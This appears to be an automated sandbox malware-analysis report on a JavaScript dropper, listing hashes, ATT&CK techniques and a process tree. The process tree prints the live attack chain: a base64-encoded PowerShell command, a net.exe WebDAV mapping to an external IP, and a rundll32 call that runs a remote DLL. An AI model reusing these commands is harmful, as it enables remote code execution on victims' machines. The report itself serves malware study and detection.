9aefb3b5e3a0727c6d96b103c432acb57c42294373bbd8d984a8aeb94659cd43

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
17/10/2024, 18:58

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General

Target

1026828447112999694.js
Size

168KB
MD5

e2ab6f5535544c6afa3d575bb0282d1e
SHA1

9200710aa19c71bf140457580a47f79a46b35d0b
SHA256

9aefb3b5e3a0727c6d96b103c432acb57c42294373bbd8d984a8aeb94659cd43
SHA512

7a08aa091147a1cd0e51e3d1fde78eee4e8a4b0d42ab559f127124e5bd7440d271a481b07007091faf126da3b4469494550f7b04fb0793c5629eddd97e4e5832
SSDEEP

1536:g9b7C1hWPf8vqOCQqAxuF3CaD8FIH73eazvu/7MFcI:g9bcWP0vFTiFB4c

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1876	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1876	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1748 wrote to memory of 1876	1748	wscript.exe	30
PID 1748 wrote to memory of 1876	1748	wscript.exe	30
PID 1748 wrote to memory of 1876	1748	wscript.exe	30
PID 1876 wrote to memory of 2116	1876	powershell.exe	32
PID 1876 wrote to memory of 2116	1876	powershell.exe	32
PID 1876 wrote to memory of 2116	1876	powershell.exe	32
PID 1876 wrote to memory of 2836	1876	powershell.exe	33
PID 1876 wrote to memory of 2836	1876	powershell.exe	33
PID 1876 wrote to memory of 2836	1876	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1026828447112999694.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANAA4AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAIAByAHUAbgBkAGwAbAAzADIAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADQAOABAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAMwAwADIAMAA3ADIAOAA5ADEAMwAyADYAMgAzADMALgBkAGwAbAAsAEUAbgB0AHIAeQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1876
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\94.159.113.48@8888\davwwwroot\
    3⤵
    PID:2116
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\94.159.113.48@8888\davwwwroot\302072891326233.dll Entry
    3⤵
    PID:2836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1876-4-0x000007FEF609E000-0x000007FEF609F000-memory.dmp

Filesize
4KB

Download
memory/1876-7-0x000007FEF5DE0000-0x000007FEF677D000-memory.dmp

Filesize
9.6MB

Download
memory/1876-6-0x0000000001FD0000-0x0000000001FD8000-memory.dmp

Filesize
32KB

Download
memory/1876-5-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/1876-10-0x000007FEF5DE0000-0x000007FEF677D000-memory.dmp

Filesize
9.6MB

Download
memory/1876-9-0x000007FEF5DE0000-0x000007FEF677D000-memory.dmp

Filesize
9.6MB

Download
memory/1876-8-0x000007FEF5DE0000-0x000007FEF677D000-memory.dmp

Filesize
9.6MB

Download
memory/1876-11-0x000007FEF5DE0000-0x000007FEF677D000-memory.dmp

Filesize
9.6MB

Download
memory/1876-12-0x000007FEF5DE0000-0x000007FEF677D000-memory.dmp

Filesize
9.6MB

Download